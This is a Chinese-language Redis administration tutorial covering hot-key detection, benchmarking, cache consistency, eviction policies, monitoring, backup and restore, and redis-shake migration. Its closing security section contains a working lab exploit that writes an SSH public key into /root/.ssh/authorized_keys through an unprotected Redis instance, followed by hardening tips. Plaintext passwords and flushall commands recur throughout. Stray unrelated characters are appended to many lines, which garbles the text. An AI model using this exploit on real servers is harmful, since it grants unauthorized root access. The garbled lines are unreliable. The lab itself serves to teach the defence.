如何找到Redis熱key勺阐?怎么預(yù)防
Hotkey介紹
- 什么是Hotkey鳖敷?
某個(gè)時(shí)間段訪問頻率比較高的key
- Hotkey會(huì)有什么問題棕所?
導(dǎo)致集群流量不均衡,或者某一個(gè)節(jié)點(diǎn)QPS網(wǎng)卡流量CPU被打滿辨宠,緩存擊穿
- Hotkey產(chǎn)生原因
熱點(diǎn)事件等
怎樣發(fā)現(xiàn)Hotkey
- 客戶端或者代理層
- 使用Redis自帶的monitor
# 生產(chǎn)環(huán)境不建議使用遗锣,會(huì)降低Redis吞吐量50%以上;monitor 實(shí)時(shí)打印Redis執(zhí)行的命令
redis-cli -p 7001 -a IdfaUqTcdad82 monitor
- 使用開源工具進(jìn)行統(tǒng)計(jì)
redis-faina
根據(jù)monitor打印的結(jié)果來進(jìn)行統(tǒng)計(jì)
mkdir /data/hotkey
cd /data/hotkey
git clone https://github.com/facebookarchive/redis-faina.git
# 或者下載解壓
yum install unzip
unzip redis-faina-master.zip
cd redis-faina-master/
ls
# 執(zhí)行命令 ;head -n 1000 分析1000行
redis-cli -p 7001 -a IdfaUqTcdad82 monitor | head -n 1000 |./redis-faina.py
# 測試嗤形,在另外的窗口精偿,寫個(gè)for循環(huán)
for i in `seq 1000`;do redis-cli -p 7001 -a IdfaUqTcdad82 get aaa;done
# 在回到之前的窗口,會(huì)輸出結(jié)果
- 使用客戶端命令
redis的最大內(nèi)存策略赋兵,使用 優(yōu)先淘汰訪問最少的key
# 修改最大內(nèi)存策略
redis-cli -p 7001 -a IdfaUqTcdad82 config get maxmemory-policy volatile-lfu
# 和monitor的區(qū)別是可以記錄曾經(jīng)執(zhí)行過的命令笔咽,不需要實(shí)時(shí)打印
redis-cli -p 7001 -a IdfaUqTcdad82 --hotkeys
- hotkey優(yōu)化建議
- 拆分,遷移或復(fù)制熱點(diǎn)key
- 使用讀寫分離
- 本地緩存加通知機(jī)制
Redis壓測
redis-benchmark用法
- redis-benchmark常用參數(shù)解釋
redis-benchmark --help
-c 并發(fā)連接數(shù)
-n 總的連接數(shù)量
-d GET/SET數(shù)據(jù)的大小
-dbnum 哪個(gè)庫
--threads 啟動(dòng)多線程壓測霹期,接線程的個(gè)數(shù)
--cluster 壓測集群
--enable-tracking 在開啟基測之前叶组,發(fā)送客戶端跟蹤
-r 使用多少個(gè)key,默認(rèn)使用相同key壓測
-q 安靜模式历造,只顯示查詢和秒速
-l 一直循環(huán)進(jìn)行壓測
-t 壓測的命令
-I 打開多少個(gè)空閑連接并等待
- 只壓測部分命令類型
# 壓測建議在另外的機(jī)器連接Redis進(jìn)行壓測甩十,模擬真實(shí)環(huán)境
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t set,lpush -q -n 100000
- 壓測某個(gè)具體命令
# redis.call() 具體的命令
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 script load "redis.call('set','aaa','1111')"
- 每次使用隨機(jī)key進(jìn)行壓測
# -r 100000 10萬個(gè)key
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set -r 100000
- 使用pipeline進(jìn)行壓測
# -P 16 表示模擬16個(gè)并發(fā)客戶端
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set,get -P 16 -q
實(shí)戰(zhàn)壓測
- 單實(shí)例壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q
- 集群壓測
# 查看集群信息
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
# 壓測
redis-benchmark -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 --cluster -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q
怎樣保證MySQL和Redis的數(shù)據(jù)一致?
Redis和MySQL結(jié)合提供服務(wù)
幾種同步策略
- 同步直寫策略
mysql和Redis通過事務(wù)同步寫入吭产,要么都成功要么都失敗
- 異步緩寫策略
mysql修改后運(yùn)行一段時(shí)間修改Redis
- 雙檢加鎖策略
對查詢的Redis加鎖侣监,第一次查詢不到加鎖等待,第二次查詢不到才去MySQL查詢臣淤,查詢成功后更新到Redis
先刪除Redis還是先更新MySQL
- 先更新MySQL橄霉,再刪除Redis
先更新MySQL,如果刪除Redis失敗,那么就是臟數(shù)據(jù)
- 先刪除Redis邑蒋,再更新MySQL
不推薦姓蜂,先刪除Redis后,更新MySQL失敗医吊,會(huì)存在其它線程緩存缺失的情況钱慢,從數(shù)據(jù)庫查詢到舊值更新到Redis中,其它線程會(huì)讀取到舊值
- 延遲雙刪
刪除緩存遮咖,再更新數(shù)據(jù)庫滩字,讓其它線程讀取MySQL中數(shù)據(jù)再把缺失的數(shù)據(jù)寫入到緩存,再sleep一段時(shí)間再去Redis里面刪除緩存御吞。
一些特殊場景
- 熱點(diǎn)數(shù)據(jù)預(yù)加載到Redis中
- MySQL數(shù)據(jù)實(shí)時(shí)同步到Redis
緩存異常之穿透
- 現(xiàn)象
MySQL服務(wù)器壓力變大麦箍,Redis命中率降低
- 原因
Redis查詢不到數(shù)據(jù),出現(xiàn)很多非正常的url訪問陶珠,一般是遭受到攻擊挟裂,或者Redis中的數(shù)據(jù)和MySQL中的數(shù)據(jù)庫被刪除掉了
- 解決辦法
對空結(jié)果進(jìn)行緩存,過期時(shí)間不要太長揍诽,比如10分鐘诀蓉;入口進(jìn)行檢測栗竖,前端或者nginx對請求進(jìn)行合法性檢測;進(jìn)行實(shí)時(shí)監(jiān)控渠啤,發(fā)現(xiàn)Redis的命中率開始下降就增加黑名單限制
緩存異常之擊穿
- 現(xiàn)象
數(shù)據(jù)庫的訪問壓力瞬間增加狐肢,Redis里面沒有出現(xiàn)大量key過期,Redis正常運(yùn)行
- 原因
Redis的某個(gè)key過期沥曹,并且大量訪問這個(gè)key份名,就會(huì)不斷查詢數(shù)據(jù)庫
- 解決辦法
預(yù)先設(shè)置熱點(diǎn)數(shù)據(jù),加大過期時(shí)間
緩存異常之雪崩
- 現(xiàn)象
數(shù)據(jù)庫壓力變大妓美,甚至崩潰
- 原因
在某個(gè)時(shí)間段僵腺,大量數(shù)據(jù)同時(shí)過期;Redis宕機(jī)
- 解決辦法
使用多級緩存架構(gòu)壶栋,比如 cdn-nginx-redis辰如,錯(cuò)開key的過期時(shí)間;如果 Redis宕機(jī)贵试,就可以進(jìn)行服務(wù)熔斷或者限流
提前預(yù)防:redis高可用方案 redis哨兵+主從或者 redis cluster
Redis內(nèi)存管理
惰性刪除
# 惰性刪除 aaa 這個(gè)key琉兜,Redis4.0開始引入惰性刪除
unlink aaa
# redis6.0開始,如果開啟毙玻,del 效果跟unlink一樣
config get lazyfree-lazy-user-del
# 惰性清除redis數(shù)據(jù)庫
flushdb async
# 惰性清除所有數(shù)據(jù)
flushall async
幾種最大內(nèi)存策略
策略名 | 描述 |
---|---|
noeviction | 達(dá)到內(nèi)存限制時(shí)呕童,寫入操作會(huì)報(bào)錯(cuò) |
allkeys-lru | 保留最近使用的key; 刪除最近最少使用(LRU)的key |
allkeys-lfu | 保留常用的key; 刪除最不常用(LFU) 的key |
volatile-lru | 刪除最近最少使用的并且設(shè)置了過期時(shí)間的key |
volatile-lfu | 刪除最不常用的并且設(shè)置了過期時(shí)間的key |
allkeys-random | 隨機(jī)刪除一些key,為添加的新數(shù)據(jù)騰出空間 |
volatile-random | 隨機(jī)移除設(shè)置了過期時(shí)間的key |
volatile-ttl | 刪除設(shè)置了過期時(shí)間和最短剩余時(shí)間的key |
config get maxmemory-policy
最大內(nèi)存策略選擇建議
沒有設(shè)置最大內(nèi)存策略時(shí)淆珊,redis3.0之前默認(rèn)volatile-lru;之后的版本默認(rèn)noeviction
- 作為緩存奸汇,明顯有冷熱數(shù)據(jù)區(qū)分施符,用allkeys-lru
- 有一部分?jǐn)?shù)據(jù)需要一直被訪問,用volatile-lru
- 任何數(shù)據(jù)都不能丟失擂找,用noeviction(內(nèi)存用滿了戳吝,新寫入的數(shù)據(jù)就會(huì)報(bào)錯(cuò))
Redis常見監(jiān)控
連接監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
連接失敗監(jiān)控 | redis-cli ping |
客戶端連接數(shù) | info clients中的connected_clients |
變量監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
配置的最大內(nèi)存 | config get maxmemory |
最大內(nèi)存策略 | config get maxmemory-policy |
主從復(fù)制監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
角色監(jiān)控 | info replication中的role |
復(fù)制狀態(tài)監(jiān)控 | info replication中的master_link_status |
延遲監(jiān)控 | info replication中的master_repl_offset和slave0字段的offset之間的差值 |
從庫是否設(shè)置只讀 | info replication中的slave_read_only |
吞吐量監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
QPS | info stats的instanttaneous_ops_per_sec |
網(wǎng)絡(luò)總?cè)肓?/td> | info stats的total_net_input_bytes |
網(wǎng)絡(luò)總出量 | info stats的total_net_output_bytes |
每秒輸入量 | info stats的instantaneous_input_kbps |
每秒輸出量 | info stats的instantaneous_output_kbps |
內(nèi)存監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
內(nèi)存使用率 | used_memory/maxmemory |
內(nèi)存碎片率 | info memory中的mem_fragmentation_ratio |
緩存命中率 | info stats中,keyspace_hits/(keyspace_hits+keyspace_misses) |
# yes 表示開啟內(nèi)存碎片自動(dòng)整理
config get activedefrag
# 內(nèi)存碎片超過這個(gè)配置就會(huì)觸發(fā)自動(dòng)清理
config get active-defrag-ignore-bytes
# 10 表示內(nèi)存碎片率超過10%就開始內(nèi)存碎片整理
config get active-defrag-threshold-lower
# 100 表示內(nèi)存碎片率超過100%就盡最大努力清理碎片
config get active-defrag-threshold-upper
# 1 表示自動(dòng)清理碎片過程中所用CPU時(shí)間的比例不會(huì)低于1
config get active-defrag-cycle-min
# 25 表示自動(dòng)清理碎片過程中所用CPU時(shí)間的比例不會(huì)超過25%
config get active-defrag-cycle-max
持久化監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
上一次RDB持久化狀態(tài) | info persistence中的rdb_last_bgsave_status |
上一次RDB持久化的持續(xù)時(shí)間 | info persistence中的rdb_last_bgsave_status |
上一次RDB持久化的持續(xù)時(shí)間 | info persistence中的rdb_last_bgsave_time_sec |
查看AOF文件大小 | info persistence中的aof_current_size |
key監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
key數(shù)量 | info keyspace中的keys |
大key | 從RDB分析結(jié)果中獲取 |
熱key | 使用monitor贯涎,客戶端或者代理層听哭,redis-cli --hotkeys |
慢查詢監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
慢查詢 | slowlog get |
集群監(jiān)控
監(jiān)控項(xiàng) | 獲取方式 |
---|---|
集群狀態(tài) | cluster info中的cluster_state |
哈希槽的狀態(tài) | cluster info中的cluster_slots_fail |
集群節(jié)點(diǎn)數(shù)量 | cluster info中的cluster_known_nodes |
Redis備份
多數(shù)場景下建議只把Redis當(dāng)做緩存使用,一些特殊情況會(huì)把Redis當(dāng)做數(shù)據(jù)庫使用就要對Redis進(jìn)行備份
RDB丟數(shù)據(jù)的場景 -模擬
- 修改RDB落盤策略
# 先關(guān)閉AOF
config set appendonly no
config rewrite
# 確認(rèn)RDB是否開啟; 3600 1 300 100 60 10000 表示開啟塘雳,3600 1 表示3600秒以內(nèi)有一次更新就落一次盤陆盘;300 100 表示300秒以內(nèi)有100次更新就會(huì)進(jìn)行一次落盤;60 10000 表示60秒以內(nèi)有10000次更新就進(jìn)行RDB落盤
config get save
- 寫入測試數(shù)據(jù)
flushall
set al 1
bgsave
set a2 2
- 恢復(fù)測試
ps -ef|grep redis
# -9 強(qiáng)制關(guān)閉败明,不會(huì)自動(dòng)執(zhí)行bgsave隘马;模擬Redis突然宕機(jī)或者服務(wù)器突然宕機(jī)
kill -9 5366
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 發(fā)現(xiàn)a2的數(shù)據(jù)已經(jīng)丟失
AOF備份恢復(fù)測試
- 開啟AOF落盤
# 先關(guān)閉RDB落盤
config set save ""
# 開啟AOF落盤
config set appendonly yes
config rewrite
- 寫入測試數(shù)據(jù)
flushall
set b1 1
set b2 2
- 恢復(fù)測試
ps -ef|grep redis
kill -9 5394
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 現(xiàn)在數(shù)據(jù)都已經(jīng)恢復(fù)
RDB和AOF同時(shí)開啟時(shí)的數(shù)據(jù)加載
config get save
# 開啟RDB落盤
config set save "3600 1 300 100 60 10000"、
config get appendonly
config rewrite
- 刪除AOF文件查看是否能加載RDB文件
flushall
set c1 1
set c2 2
bgsave
# 測試
ps -ef|grep redis
kill -9 5481
cd /data/redis7001/data/
mv appendonly.aof appendonly.aof_02
# 再啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 空的數(shù)據(jù)
RDB和AOF同時(shí)開啟的情況下不會(huì)加載新的RDB妻顶,優(yōu)先加載AOF即使沒有AOF文件也是會(huì)加載一個(gè)空的AOF文件
- 刪除RDB文件看是否能加載AOF文件
flushall
set d1 1
set d2 2
ps -ef|grep redis
kill -9 5481
cd /data/redis7001/data/
mv dump.rdb dump.rdb_02
# 再啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 剛寫入所有數(shù)據(jù)存在
- 強(qiáng)制加載RDB文件的方式
flushall
set f1 1
set f2 2
bgsave
# 關(guān)閉redis
shutdown
# RDB和AOF同時(shí)存在只想加載RDB時(shí)酸员,可以在配置文件關(guān)閉AOF
vim /data/redis7001/conf/redis.conf
appendonly no
# 然后再移除aof文件
cd /data/redis7001/data/
mv appenonly.aof appenonly.aof_03
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
# 數(shù)據(jù)恢復(fù)
備份腳本編寫
- 準(zhǔn)備
在從庫進(jìn)行備份,在162進(jìn)行備份,把備份傳到163上波材,在163進(jìn)行恢復(fù)
# 163
mkdir /data/redisbak
# 162和163建立互信
# 162 生成公私鑰游岳,把公鑰復(fù)制到163上
ssh-keygen
# 通過命令直接把公鑰傳到163
ssh-copy-id root@192.168.12.163
# 163查看
cat /root/.ssh/authorized_keys
# 161寫入一些數(shù)據(jù)
flushall
set bak1 1
set bak2 2
# 162 手動(dòng)觸發(fā)落盤(模擬)
bgsave
- 使用ChatGPT生成備份腳本
redis的連接信息:redis-cli -h 192.168.12.162 -p 7001 -a IdfaUqTcdad82
編寫一個(gè)腳本,每小時(shí)備份RDB文件
RDB路徑:/data/redis7001/data/dump.rdb
備份文件加上IP信息:192.168.12.162
并把備份文件拷貝到192邀泉。168.12.163上的/data/redisbak文件夾下
162和163的root用戶已經(jīng)創(chuàng)建了SSH密鑰認(rèn)證
# 162 復(fù)制代碼嬉挡,編寫sh文件
vim bak_redis.sh
# 在復(fù)制的代碼中注釋掉
# 備份Redis RDB文件
#redis-cli -h xxxx -p xxx -a xxxx SAVE
#sleep 5
# 修改備份目錄等相關(guān)不正確的地方,不存在的目錄需要?jiǎng)?chuàng)建等
sh bak_redis.sh
- 恢復(fù)測試
# 163
ps -ef|grep redis
cd /data/redis7001/ddata/
ls
# 刪除已存在的rdb文件
rm -rf dump.rdb
# 在把備份的rdb移過來
cp /data/redisbak/dump_192.168.12.162.rdb dump.rdb
# 配置文件關(guān)閉aof
vim /data/redis7001/conf/redis.conf
appendonly no
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
keys *
Redis備份建議
- 數(shù)據(jù)不能丟失可選擇RDB和AOF混合使用
- 允許分鐘級小時(shí)級數(shù)據(jù)丟失可以使用RDB
- 優(yōu)先考慮在從上備份
Redis數(shù)據(jù)遷移
數(shù)據(jù)同步工具redis-shake介紹
- redis-shake的功能
redis-shake地址 - redis-shake安裝
redis-shake下載對應(yīng)版本
mkdir /data/redisshake
cd /data/redisshake/
wget https://github.com/tair-opensource/RedisShake/releases/download/v4.0.2/redis-shake-linux-amd64.tar.gz
tar axvf redis-shake-linux-amd64.tar.gz
- redis-shake配置文件解析
文檔
vim shake.toml
# 數(shù)據(jù)源
[sync_reader]
cluster = false # 源端是否為集群
address = "127.0.0.1:6379" #源端的ip地址和端口
username = "" #賬號
password = "" #密碼
tls = false
sync_rdb = true #是否同步rdb呼渣;true開始全量同步棘伴;false跳過全量同步
sync_aof = true #是否開啟aof;true開啟增量同步屁置;false跳過增量同步
# 通過scan命令遍歷源端數(shù)據(jù)庫中的所有key并使用dump和restore命令來讀取和寫入key的內(nèi)容
[scan_reader]
# 表示從rdb文件讀取數(shù)據(jù)然后寫入目標(biāo)端
[rdb_reader]
# 以上三個(gè)只能開啟一個(gè)
# 目標(biāo)端的配置
[redis_writer]
cluster = false # 目標(biāo)端是否為集群
address = "127.0.0.1:6379" #目標(biāo)端的ip地址和端口
username = "" #賬號
password = "" #密碼
tls = false
# 高級的配置
[advanced]
dir = "data" #臨時(shí)文件夾
log_file = "shake.log" #log文件的名字
log_level = "info" #日志級別
rdb_restore_command_behavior = "pannic" #表示在遷移的時(shí)候目標(biāo)實(shí)例的key如果已經(jīng)存在可以采取怎樣的措施焊夸;pannic 表示直接報(bào)錯(cuò);rewrite 表示覆蓋蓝角;ignore 表示忽略同步繼續(xù)
單實(shí)例導(dǎo)入到單實(shí)例
- 寫入測試數(shù)據(jù)
# 161
flushall
set ip.161.01 1
set ip.161.02 1
# 163
flushall
- 修改同步的配置文件
# 161
cp shake.toml 161_to_163.toml
vim 161_to_163.toml
[sync_reader]
cluster = false
address = "192.161.12.161:7001"
username = ""
password = "IdfaUqTcdad82"
tls = false
sync_rdb = true
sync_aof = true
[redis_writer]
cluster = false
address = "192.168.12.163:7001"
username = ""
password = "IdfaUqTcdad82"
tls = false
- 執(zhí)行遷移操作
./redis-shake 161_to_163.toml
# 163 上查看數(shù)據(jù)
keys *
單實(shí)例數(shù)據(jù)同步到集群
- 清空集群數(shù)據(jù)
# 查看集群節(jié)點(diǎn)
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
# 情況所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
- 編輯同步的配置文件
cp shake.toml 161_to_cluster.toml
vim 161_to_cluster.toml
[sync_reader]
cluster = false
address = "192.161.12.161:7001"
username = ""
password = "IdfaUqTcdad82"
tls = false
sync_rdb = true
sync_aof = true
[redis_writer]
cluster = true
address = "192.168.12.161:8001"
username = ""
password = "IdfaUqTcdad82"
tls = false
- 運(yùn)行同步并在集群里確定數(shù)據(jù)
./redis-shake 161_to_cluster.toml
# 查看數(shù)據(jù)
redis-cli -p 7001 -a IdfaUqTcdad82
keys *
# 登錄集群
redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
get ip.161.01
集群數(shù)據(jù)同步到單實(shí)例
- 寫入測試數(shù)據(jù)
# 查看集群狀態(tài)
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
# 清空所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -p 8001 -a IdfaUqTcdad82 -c
set c1 1
set c2 2
set c3 3
# 清空163
flushall
keys *
- 修改同步的配置文件
cp shake.toml cluster_to_163.toml
vim cluster_to_163.toml
[scan_reader]
cluster = true
# 集群的某一個(gè)節(jié)點(diǎn)
address = "192.161.12.161:8001"
username = ""
password = "IdfaUqTcdad82"
tls = false
sync_rdb = true
sync_aof = true
[redis_writer]
cluster = false
address = "192.168.12.163:7001"
username = ""
password = "IdfaUqTcdad82"
tls = false
- 執(zhí)行遷移操作
./redis-shake cluster_to_163.toml
# 163
keys *
RDB數(shù)據(jù)導(dǎo)入到集群
- 獲取RDB文件
redis-cli -p 7001 -a IdfaUqTcdad82
flushall
set 161_rdb_t1 1
set 161_rdb_t2 1
bgsave
info
# 復(fù)制RDB文件
cp /data/redis7001/data/dump.rdb /data/redisshake/
# 清空集群
redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
# 清空所有主節(jié)點(diǎn)
redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
- 編輯同步的配置文件
cp shake.toml rdb_to_cluster.toml
vim rdb_to_cluster.toml
[rdb_reader]
filepath = "/data/redisshake/dump.rdb"
[redis_writer]
cluster = true
address = "192.168.12.161:8001"
username = ""
password = "IdfaUqTcdad82"
tls = false
- 運(yùn)行同步并確定數(shù)據(jù)
./redis-shake rdb_to_cluster.toml
# 登錄集群查看數(shù)據(jù)
redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
get 161_rdb_t1
get 161_rdb_t2
RedisShake注意事項(xiàng)
- 不能在同一個(gè)目錄同時(shí)運(yùn)行多個(gè)RedisShake進(jìn)程
- 不要從高版本遷移到低版本
- sentinel的架構(gòu)阱穗,建議只在從庫同步
Redis的單線程和多線程
多線程的發(fā)展歷程
4.0之前的版本 單線程 -> 4.0開始 開始支持部分功能的多線程 -> 6.0開始 面向網(wǎng)絡(luò)處理的多線程(讀寫操作還是單線程保證原子性)
關(guān)于單線程和多線程的一些疑問
- Redis為什么這么快?
- 所有數(shù)據(jù)都在內(nèi)存中
- 所有數(shù)據(jù)結(jié)構(gòu)比較簡單
- 采用多路復(fù)用和非阻塞IO(redis使用IO多路復(fù)用來監(jiān)聽多個(gè)socket連接客戶端使鹅,一但有請求到達(dá)就交給Redis線程處理揪阶,避免IO阻塞)
- 避免上下文切換(因?yàn)槭菃尉€程模型,避免了不必要的上下文切換患朱,多線性的一些鎖競爭等)
- 為什么選擇單線程呢鲁僚?
使Redis的開發(fā)和維護(hù)更簡單,即使是單線程也能并發(fā)處理多個(gè)客戶端的請求(使用的是IO多路復(fù)用和非阻塞IO裁厅,對于Redis系統(tǒng)來說主要的性能瓶頸是內(nèi)存或者網(wǎng)絡(luò)并非CPU冰沙,盡管多線程可以增加吞吐量但是多線程就涉及到共享某個(gè)資源的情況就要考慮鎖)
- 既然單線程這么好,為什么逐漸又加入了多線程特性执虹?
舉例
一個(gè)hash類型的大key拓挥,有上萬個(gè)元素,要?jiǎng)h除的話可能要?jiǎng)h除很久袋励,這樣就會(huì)導(dǎo)致主線程處理不了其它請求侥啤,需要等待刪除操作完成這樣其它的正常請求都會(huì)被影響。在4.0引入多線程來實(shí)現(xiàn)惰性刪除茬故,可以避免刪除大key導(dǎo)致主線程阻塞的問題
Redis6.0多線程的實(shí)現(xiàn)原理
Redis6.0多線程的注意事項(xiàng)
- 多線程需要我們主動(dòng)開啟
# io-threads-do-reads 表示是否開啟多線程盖灸;io-threads 表示線程個(gè)數(shù);都不支持動(dòng)態(tài)修改
config get io*
- 使用多線程之前建議先進(jìn)行壓測
# 壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000
# 開啟多線程
vim /data/redis7001/conf/redis.conf
io-threads-do-reads yes
io-threads 4
shutdown
# 啟動(dòng)redis
/usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
# 壓測
redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000
使用Redis的注意事項(xiàng)
鍵值對的建議
- key名建議
- 業(yè)務(wù)+表名+ID 例如:school:student:1
- 不能包含特殊字符
- value建議
- string類型控制在10kb以內(nèi)磺芭,hash糠雨,list,set徘跪,zset的元素個(gè)數(shù)不要超過五千
- 設(shè)置了過期時(shí)間的數(shù)據(jù)會(huì)自動(dòng)刪除key甘邀,如果沒有設(shè)置異步琅攘,那么刪除key也會(huì)阻塞主線程
- 控制key的過期時(shí)間
- 內(nèi)存很貴,盡量都設(shè)置過期時(shí)間
- 同一臺(tái)機(jī)器里面過期時(shí)間盡量錯(cuò)開松邪,避免導(dǎo)致緩存崩潰
禁用一些高危命令
比如 keys *坞琴,flushall等
- 改寫高危命令
vim /data/redis7001/conf/redis.conf
# 添加
rename-command flushall ""
rename-command flushadb ""
rename-command keys ""
# 重啟
- 使用6.0的ACL禁用危險(xiǎn)命令
# +@ 賦予權(quán)限;-@ 取消權(quán)限逗抑;~* 所有key
acl setuser martin on > martin123 +@all -@dangerous ~*
# 查看所有用戶狀態(tài)
acl list
# 創(chuàng)建的用戶永久生效
config rewrite
# 登錄redis
redis-cli --user martin --pass martin123 -p 7001
# flushall,flushadb 命令等講不再可以執(zhí)行
謹(jǐn)慎執(zhí)行影響性能的命令
- 適量獲取數(shù)據(jù)
HSCAN hash_test 0 count 100
- monitor命令謹(jǐn)慎使用
??????奪權(quán)漏洞實(shí)驗(yàn)
- 安裝一套不過范的redis
# 修改配置文件剧辐,注釋密碼
# 新增參數(shù), protected-mode 保護(hù)模式,yes 表示必須綁定ip或者設(shè)置密碼才能訪問redis
protected-mode no
# 重啟
- 把公鑰植入到redis服務(wù)所在機(jī)器
# 嘗試連接密碼,需要輸入密碼
ssh 192.168.12.161
# 將本機(jī)的公鑰寫到txt文件中
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt
cat 1.txt | redis-cli -h 192.168.12.161 -p 7002 -x set aaa
redis-cli -h 192.168.12.161 -p 7002
# 更改持久化數(shù)據(jù)目錄
config set dir /root/.ssh
# 設(shè)置持久化數(shù)據(jù)庫文件(RDB文件)的文件名
config set dbfilename "authorized_keys"
bgsave
# 這下就可以免密登錄redis服務(wù)所在機(jī)器了
- 客戶端嘗試免密登錄Redis所在的機(jī)器
- 問題
- Redis是以root用戶啟動(dòng)的
- 保護(hù)模式是關(guān)閉的
Redis安全相關(guān)的建議
- 禁止root用戶啟動(dòng)Redis
- 避免使用默認(rèn)端口
- Redis所在的機(jī)器不開放外網(wǎng)
- 開啟防火墻訪問
- 設(shè)置密碼認(rèn)證
- 啟動(dòng)安全模式
客戶端使用的建議
- 禁止多個(gè)應(yīng)用使用一套R(shí)edis實(shí)例
- 冷熱數(shù)據(jù)區(qū)分
- 連接池